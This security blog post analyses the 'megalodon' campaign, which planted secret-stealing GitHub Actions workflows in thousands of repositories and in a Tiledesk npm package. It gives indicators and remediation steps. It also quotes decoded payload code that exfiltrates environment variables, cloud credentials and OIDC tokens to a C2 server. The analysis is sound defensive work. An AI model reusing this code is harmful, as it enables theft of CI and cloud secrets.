---
title: "Megalodon: Mass GitHub Repo Backdooring via CI Workflows"
description: "Over 5,700 malicious commits were pushed to GitHub repositories on May 18, 2026, replacing GitHub Actions workflows with base64-encoded secret exfiltration payloads. The \"megalodon\" campaign targeted repos including Tiledesk (9 repos), Black-Iron-Project (8 repos), and hundreds of others. @tiledesk/tiledesk-server versions 2.18.6-2.18.12 on npm carry the backdoor. C2: 216.126.225.129:8443."
url: "https://safedep.io/blog/megalodon-mass-github-repo-backdooring-ci-workflows"
author: "SafeDep Team"
published: "2026-05-21"
---

# Megalodon: Mass GitHub Repo Backdooring via CI Workflows

## TL;DR

On May 18, 2026, an automated campaign codenamed `megalodon` pushed 5,718 malicious commits to 5,561 GitHub repositories in a six-hour window. Using throwaway accounts and forged author identities (`build-bot`, `auto-ci`, `ci-bot`, `pipeline-bot`), the attacker injected GitHub Actions workflows containing base64-encoded bash payloads that exfiltrate CI secrets, cloud credentials, SSH keys, OIDC tokens, and source code secrets to a C2 server at `216.126.225.129:8443`.

The campaign deployed two payload variants. The mass variant (`SysDiag`) adds a new workflow triggered on every push and pull request, maximizing automated execution. A targeted variant (`Optimize-Build`) replaced existing workflows with `workflow_dispatch` triggers, creating dormant backdoors that the attacker can fire on demand via the GitHub API. The npm package `@tiledesk/tiledesk-server` versions 2.18.6 through 2.18.12 carry the targeted variant, propagated to npm through routine publishes by the legitimate maintainer from the compromised GitHub repository.

[Jump to full list of compromised repositories](#full-list-of-compromised-github-repositories)

**Impact:**

- 5,561 GitHub repositories received malicious workflow commits
- Exfiltrates all CI environment variables, `/proc/*/environ`, and PID 1 environment
- Steals AWS credentials (per-profile access keys, secret keys, session tokens via `aws` CLI)
- Harvests GCP access tokens via `gcloud auth print-access-token`
- Queries AWS IMDSv2, GCP metadata, and Azure IMDS endpoints for instance role credentials
- Reads SSH private keys, Docker auth configs, `.npmrc`, `.netrc`, Kubernetes configs, Vault tokens, Terraform credentials, and shell history
- Grep-scans source code for 30+ secret regex patterns (API keys, database connection strings, JWTs, PEM private keys, cloud tokens)
- Exfiltrates GitHub Actions OIDC token request URL and token, enabling cloud identity impersonation
- Exfiltrates `GITHUB_TOKEN`, GitLab CI/CD tokens, and Bitbucket tokens
- Searches the workspace and common server paths for `.env` files, `credentials.json`, `service-account.json`, and other configuration files

**Indicators of Compromise (IoC):**

- C2: `hxxp://216[.]126[.]225[.]129:8443`
- Campaign: `megalodon`
- Author emails: `build-system@noreply.dev`, `ci-bot@automated.dev`
- Author names: `build-bot`, `auto-ci`, `ci-bot`, `pipeline-bot`
- Commit messages: "ci: add build optimization step", "build: improve ci performance", "chore: optimize pipeline runtime", "chore: sync ci configuration", "chore: update ci/cd pipeline", "ci: update build config", "fix: correct build workflow"
- Mass variant: adds `.github/workflows/ci.yml` named `SysDiag`, triggers on `push` (all branches) + `pull_request_target`
- Targeted variant: replaces existing workflow, renames to `Optimize-Build`, triggers on `workflow_dispatch`
- Both variants request permissions: `id-token: write`, `actions: read`
- npm: `@tiledesk/tiledesk-server` versions 2.18.6 through 2.18.12
- Tiledesk commit: [`acac5a9`](https://github.com/Tiledesk/tiledesk-server/commit/acac5a9854650c4ae2883c4740bf87d34120c038)

## Analysis

### How We Found It

SafeDep's [Malysis](https://safedep.io) engine flagged `@tiledesk/tiledesk-server@2.18.12` after detecting a base64-encoded bash payload inside a bundled GitHub Actions workflow file. The package itself is legitimate: [Tiledesk](https://www.tiledesk.com) is an open source live chat and chatbot platform, published since 2019 with hundreds of versions and six npm maintainers, all with `@tiledesk.com` or personal email addresses consistent with the project team.

Diffing version 2.18.12 against the clean 2.18.5, one file changed: `.github/workflows/docker-community-worker-push-latest.yml`. The original Docker build workflow was gone. In its place, a workflow named `Optimize-Build` with a `set +e; echo "..." | base64 -d | bash` one-liner. Application code: identical.

Versions 2.18.6 (May 19) through 2.18.12 (May 21) all carry the backdoor. The same npm account, `eljohnny` (giovanni@tiledesk.com), published both the clean 2.18.5 and the compromised versions. The attacker never touched the npm account. They compromised the [GitHub repository](https://github.com/Tiledesk/tiledesk-server), and the maintainer published from the poisoned source without realizing it.

### Tracing the Commit

The malicious commit ([`acac5a9`](https://github.com/Tiledesk/tiledesk-server/commit/acac5a9854650c4ae2883c4740bf87d34120c038)) landed on May 18, 2026, authored by `build-bot <build-system@noreply.dev>` with the message "ci: add build optimization step". The author name and generic noreply email mimic automated CI commits. The GitHub API returns `null` for both the author and committer user fields: no GitHub account is linked. Someone pushed the commit to master with no PR and no merge commit, using a compromised PAT or deploy key. As of this writing, the malicious commit remains on the [master branch](https://github.com/Tiledesk/tiledesk-server/blob/master/.github/workflows/docker-community-worker-push-latest.yml).

Searching GitHub for other commits by `build-system@noreply.dev` revealed the larger campaign.

### Campaign Scale

Searching GitHub for commits authored by `build-system@noreply.dev` returns 2,878 results. A second email, `ci-bot@automated.dev`, accounts for another 2,841. All 5,718 commits landed on the same day: May 18, 2026, across a six-hour window from approximately 11:36 to 17:48 UTC, targeting 5,561 distinct repositories.

The attacker rotated through four author names (`build-bot`, `auto-ci`, `ci-bot`, `pipeline-bot`) and seven commit messages, all mimicking routine CI maintenance:

- `ci: add build optimization step`
- `build: improve ci performance`
- `chore: optimize pipeline runtime`
- `chore: sync ci configuration`
- `chore: update ci/cd pipeline`
- `ci: update build config`
- `fix: correct build workflow`

The attacker used throwaway GitHub accounts with random 8-character usernames (e.g., `rkb8el9r`, `bhlru9nr`, `lo6wt4t6`), set git config to forge the author identity, and pushed via compromised PATs or deploy keys.

Tiledesk alone was hit across nine repositories: `tiledesk-server`, `tiledesk-dashboard`, `tiledesk-telegram-connector`, `tiledesk-llm`, `tiledesk-docker-proxy`, `tiledesk-community-app`, `tiledesk-campaign-dahboard`, `tiledesk-helpcenter-template`, and `tiledesk-ai`. Other targeted organizations include Black-Iron-Project (8 repos), WISE-Community, and hundreds of smaller repositories.

### Full List of Compromised GitHub Repositories

The full list of 5,718 malicious commits across 5,561 repositories, collected from GitHub's commit search API:

[megalodon-campaign-commits.csv](https://safedep.io/data/blogs/megalodon-campaign-commits.csv)

Top Projects taking the hit:

| Repo                             | Stars      | Malicious Commit Pushed                                                                           |
| -------------------------------- | ---------- | ------------------------------------------------------------------------------------------------- |
| **Wiznet/ioLibrary_Driver**      | 800+       | https://github.com/Wiznet/ioLibrary_Driver/commit/8a454e601c4f69576c4e4edd14b8d2a0c52eaf27        |
| 4 **Tiledesk** repositories      | 784 (aggr) | https://github.com/Tiledesk/tiledesk-server/commit/acac5a9854650c4ae2883c4740bf87d34120c038       |
| 4 **persian-tools** repositories | 450 (aggr) | https://github.com/persian-tools/py-persian-tools/commit/18aa49e5f42ceaf9f010f01a396f625100c7aad8 |

### Two Payload Variants

The campaign deployed two distinct workflow variants. The mass-scale variant, used in 5,700+ repositories, adds a new file `.github/workflows/ci.yml` named `SysDiag` with triggers on `push` to all branches and `pull_request_target`. This variant fires automatically on every push and PR, maximizing coverage. The Tiledesk variant replaced an existing workflow, renamed it to `Optimize-Build`, and used `workflow_dispatch` (manual trigger only), a more targeted approach. Both variants share the same C2 (`216.126.225.129:8443`), the same megalodon campaign identifier, and the same exfiltration payload, but each commit gets a unique session ID.

### Execution Trigger

In the Tiledesk case, the malicious code does not execute when someone installs the npm package. The payload lives inside a bundled GitHub Actions workflow file, `.github/workflows/docker-community-worker-push-latest.yml`, and targets CI/CD runners.

The original workflow built and pushed Docker images on pushes to master:

```yaml
# .github/workflows/docker-community-worker-push-latest.yml (clean, v2.18.5)
name: Docker Image Community Worker latest CI

on:
  push:
    branches: [ master ]
  pull_request:
    branches: [ master ]

jobs:
  push_to_registry:
    name: Push Docker image to Docker Hub
    runs-on: ubuntu-latest
    steps:
    - name: Check out the repo
      uses: actions/checkout@v4
    - name: Login to Docker Hub
      uses: docker/login-action@v3
      ...
```

The attacker replaced this with:

```yaml
# .github/workflows/docker-community-worker-push-latest.yml (malicious, v2.18.6+)
name: Optimize-Build
on:
  workflow_dispatch:
permissions:
  contents: read
  id-token: write
  actions: read
jobs:
  check:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 1
      - run: set +e; echo "Q0I9Imh0dHA6Ly8yMTYuMTI2LjIy..." | base64 -d | bash
```

The trigger switched to `workflow_dispatch` (manual only). The attacker added `id-token: write` permission, enabling OIDC impersonation. And the entire build logic became a single `run` step that decodes and executes a base64 blob.

### Why `workflow_dispatch`?

The trigger change from `on: push` to `on: workflow_dispatch` is a stealth choice. GitHub Actions evaluates the workflow file version present in the commit being pushed. When `acac5a9` landed on master, the workflow file already specified `workflow_dispatch`, so the push did not trigger the payload. The GitHub Actions API confirms zero `workflow_dispatch` runs for this workflow; the last run was a push event on May 4, before the compromise.

This makes the backdoor dormant. It creates no visible runs in the Actions tab, no failed builds, no red flags in CI history. The attacker can trigger it later via the GitHub API:

```
POST /repos/{owner}/{repo}/actions/workflows/{workflow}/dispatches
{"ref": "master"}
```

GitHub's anti-recursion rules prevent `GITHUB_TOKEN`-triggered events from spawning new workflow runs. But `workflow_dispatch` and `repository_dispatch` are [exempted from this restriction](https://docs.github.com/en/actions/security-for-github-actions/security-guides/automatic-token-authentication#using-the-github_token-in-a-workflow). If the attacker obtains a `GITHUB_TOKEN` from any other workflow run in the same repo (through a compromised dependency, a PR-triggered action, or another supply chain vector), they can fire the exfiltration workflow on demand.

The tradeoff is reach: `on: push` would guarantee execution on every commit to master, hitting more targets without intervention. `workflow_dispatch` sacrifices that for operational security. With 5,700+ repos compromised, even a small fraction yielding a usable `GITHUB_TOKEN` gives the attacker enough targets for on-demand triggering.

### Malicious Payload

The base64 blob decodes to a 111-line bash script. It begins by configuring the C2 endpoint and a cleanup trap:

```bash
# decoded payload
CB="http://216.126.225.129:8443?h=megalodon&l=gh_dump&id=hefs8esnhgkx"
DID="hefs8esnhgkx"
PLAT="gh"
WORK="$GITHUB_WORKSPACE"
TMP_DIR=$(mktemp -d)
trap "rm -rf '$TMP_DIR'" EXIT
```

A helper function `_post()` handles exfiltration. It truncates files above 5MB, posts them to the C2 with metadata headers, and adds a random sleep between 0-1 seconds:

```bash
# decoded payload
_post() {
  local fname="$1" fpath="$2"
  [ -z "$fpath" ] || [ ! -s "$fpath" ] && return
  local sz=$(stat -c%s "$fpath" 2>/dev/null || stat -f%z "$fpath" 2>/dev/null || echo 0)
  [ "$sz" -gt 5242880 ] && head -c 5242880 "$fpath" > "$fpath.trunc" && fpath="$fpath.trunc"
  curl -sS -X POST -m 60 \
    -H 'Content-Type: text/plain' \
    -H "X-Mega-DID: $DID" \
    -H "X-Mega-Plat: $PLAT" \
    -H "X-Mega-File: $fname" \
    --data-binary @"$fpath" \
    "${CB}&l=${PLAT}_exfil&id=${DID}&f=${fname}" >/dev/null 2>&1 || true
  sleep $((RANDOM % 2))
}
```

### Data Collection

The script collects data in five phases.

**Phase 1: Environment variables.** Dumps `printenv`, reads `/proc/self/environ`, iterates over `/proc/[0-9]*/environ` for all readable processes, and reads PID 1's environment. This captures every secret exposed as an environment variable on the runner: `GITHUB_TOKEN`, Docker Hub credentials, custom secrets.

```bash
# decoded payload
printenv | sort > "$TMP_DIR/meta_printenv.txt" 2>/dev/null
_post "meta_printenv" "$TMP_DIR/meta_printenv.txt"

[ -d /proc ] && for p in /proc/[0-9]*/environ; do
  [ -f "$p" ] && [ -r "$p" ] && tr '\0' '\n' < "$p" 2>/dev/null
done | sort -u | head -2000 > "$TMP_DIR/meta_proc_all.txt"
_post "meta_proc_all" "$TMP_DIR/meta_proc_all.txt"
```

**Phase 2: Credential files.** The script reads 27 specific credential files by path, covering AWS (`~/.aws/credentials`, `~/.aws/config`), SSH (`id_rsa`, `id_ed25519`, `id_ecdsa`), Docker (`~/.docker/config.json`), npm (`~/.npmrc`), GCP (`application_default_credentials.json`, `credentials.db`), GitHub CLI (`~/.config/gh/hosts.yml`), Kubernetes (`~/.kube/config`), Terraform (`credentials.tfrc.json`), Vault (`~/.vault-token`), git credentials, shell history, and Kubernetes service account tokens.

**Phase 3: Cloud provider credential harvesting.** If the `aws` CLI is available, the script iterates over every configured profile, calls `sts get-caller-identity`, and extracts access keys, secret keys, and session tokens. For GCP, it runs `gcloud auth list` and `gcloud auth print-access-token`. It also queries all three major cloud IMDS endpoints:

```bash
# decoded payload (GCP IMDS)
curl -sS -m 3 -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/?recursive=true" > "$TMP_DIR/meta_gcp.txt"

# decoded payload (AWS IMDSv2)
IMDS_TOK=$(curl -sS -m 3 -X PUT \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 60" \
  "http://169.254.169.254/latest/api/token")
curl -sS -m 3 -H "X-aws-ec2-metadata-token: $IMDS_TOK" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/$role"

# decoded payload (Azure IMDS)
curl -sS -m 3 -H "Metadata: true" \
  "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
```

**Phase 4: File and code scanning.** Searches the workspace, home directory, `/tmp`, and `/home/runner` for configuration files (`.env`, `credentials.json`, `service-account.json`, `docker-compose.yml`, etc.) and exfiltrates each one. Then grep-scans source code across 30+ file extensions using a regex that matches AWS access keys (AKIA/ASIA), Stripe/Razorpay keys, SendGrid API keys, Sendinblue keys, Mailgun keys, GitHub tokens (ghp/gho/ghu/ghs/ghr and fine-grained PATs), GitLab tokens (all 13 token prefixes), Atlassian tokens, Heroku API keys, Slack tokens, npm tokens, PyPI tokens, DigitalOcean tokens, Doppler tokens, Buildkite tokens, Pulumi tokens, Vercel tokens, Postman keys, Azure SAS tokens, JWTs, database connection strings (MongoDB, Postgres, MySQL, Redis, MSSQL, AMQP), PEM private keys, and common environment variable patterns (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, `DATABASE_URL`, etc.).

**Phase 5: CI/CD token theft.** The script targets CI platform tokens for identity impersonation:

```bash
# decoded payload
if [ -n "$ACTIONS_ID_TOKEN_REQUEST_URL" ]; then
  printf 'req_url=%s\ntoken=%s\n' \
    "$ACTIONS_ID_TOKEN_REQUEST_URL" "$ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
    > "$TMP_DIR/oidc_gh.txt"
  _post "oidc_gh" "$TMP_DIR/oidc_gh.txt"
fi
```

The `ACTIONS_ID_TOKEN_REQUEST_URL` and `ACTIONS_ID_TOKEN_REQUEST_TOKEN` pair enables the attacker to request OIDC tokens that impersonate the GitHub Actions workflow. Organizations using OIDC federation for cloud deployments (instead of long-lived secrets) face the worst outcome: the attacker can mint tokens that authenticate to AWS, GCP, or Azure as the CI identity.

### Anti-Forensics

The payload uses `set +e` to suppress errors, wraps the C2 `curl` calls with `|| true` to prevent workflow failure on network errors, uses a temp directory with a cleanup trap, and adds random sleeps between exfiltration calls. The `workflow_dispatch` trigger means the workflow only runs if someone manually invokes it (or the attacker does via a stolen `GITHUB_TOKEN`), not on every push. This reduces the chance of accidental discovery through failed CI runs.

## Conclusion

5,700+ commits in six hours, 5,561 repositories, one payload: replace a GitHub Actions workflow with a dormant secret exfiltration backdoor. The `workflow_dispatch` trigger design means these backdoors sit silent until activated, creating no visible CI runs.

Tiledesk shows how repository compromise cascades to package registries. Seven npm versions carried the backdoor because the maintainer published from a poisoned repo. Application code: untouched. Only the workflow file changed. Code review would catch this, but nobody reviews workflow files in npm packages.

**If your repository received a commit from `build-system@noreply.dev` or `ci-bot@automated.dev` on May 18, 2026:** revert it, audit your workflow files, and rotate any secrets available to GitHub Actions runners. Check your Actions tab for unexpected `workflow_dispatch` runs. If you use OIDC federation for cloud deployments, review cloud audit logs for token requests from unknown workflow runs.
